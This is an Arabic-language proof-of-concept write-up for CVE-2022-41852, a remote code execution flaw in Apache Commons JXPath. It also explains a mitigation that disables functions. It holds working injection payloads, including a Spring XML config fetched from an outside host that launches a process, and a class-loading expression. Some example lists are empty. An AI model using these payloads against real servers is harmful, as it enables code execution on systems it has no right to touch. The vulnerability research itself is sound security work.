
CVE-2022-41852 إثبات المفهوم (غير رسمي)
يسمح CVE-2022-41852 للمهاجمين بتنفيذ تعليمات برمجية على خادم التطبيق.
يمكنك قراءة المزيد عن هذه الثغرة الأمنية هنا:
ملاحظة: لست مؤلفًا لهذا CVE. لقد قمت فقط بإنشاء هذا الإثبات للمفهوم.
مكتبة JXPath تدعم تشغيل الدوال في تعبيرات XPath (انظر الدليل الرسمي للمستخدم).
على سبيل المثال، الدالتان JXPathContext.getValue(path) و JXPathContext.iterate(path) خطيرتان
إذا سمحت للمستخدم بإرسال مُدخلات إلى معامل path.
يقوم هذا الإثبات للمفهوم بتشغيل خادم Spring بسيط مع نقطتين نهاية:
/vulnerable-example?path=[path]/secure-example?path=[path]تحتوي نقطتا النهاية هاتان على معامل استعلام واحد فقط "path".
الطلبات التالية ستعمل بشكل طبيعي (لن تسبب أي مشاكل):
الطلبات التالية ستسبب تنفيذ التعليمات البرمجية:
أمثلة على الحمولات لاكتشاف CVE-2022-41852:
java.lang.System.exit(42)java.lang.Thread.sleep(10000)/|java.lang.System.exit(42)|java.lang.System.exit(42)قد تكون هناك طرق متعددة لتنفيذ الأوامر. إحداها هي استخدام ClassPathXmlApplicationContext الخاص بـ Spring:
org.springframework.context.support.ClassPathXmlApplicationContext.new("https://warxim.com/calc.xml")في ملف XML، يمكنك تعريف تكوين الـ bean، على سبيل المثال، يمكنك إنشاء مثيل من ProcessBuilder
وتشغيل أمر محدد على الخادم عن طريق تهيئة الـ bean باستخدام دالة start().
في المثال التالي، سيتم فتح الآلة الحاسبة على جهاز Windows:
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="commandRunner" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value><![CDATA[calc]]></value>
</list>
</constructor-arg>
</bean>
</beans>
هناك أيضًا طريقة لتحميل فئات جديدة عن طريق التنقل في الـ context bean، على سبيل المثال، الكود التالي سيقوم بتحميل الفئة com.warxim.dangerous.DangerousClass، وإنشاء مثيل لها واستدعاء الدالة run("warxim"):
JXPathContext context = JXPathContext.newContext(new Data());
String jxPath = "run(newInstance(loadClass(getClassLoader(getClass(/)), \"com.warxim.dangerous.DangerousClass\")), \"warxim\")"
Object result = context.getValue(jxPath);
لاحظ أنه يجب علينا استدعاء دوال الكائن عن طريق وضع الكائن الذي يحتوي عليها كمعامل أول.
من الممكن تعطيل الدوال في JXPathContext عن طريق تعيين حقل functions إلى FunctionLibrary فارغ.
// Create path context for person object
var pathContext = JXPathContext.newContext(person);
// Set empty function library
pathContext.setFunctions(new FunctionLibrary());
// getValue will throw org.apache.commons.jxpath.JXPathFunctionNotFoundException
return pathContext.getValue(path);
ملاحظة: سيعطل ذلك جميع الدوال، لذا حتى الدوال مثل size() لن تكون متاحة.
يجري تطوير الإصلاح، انظر https://github.com/apache/commons-jxpath/pull/26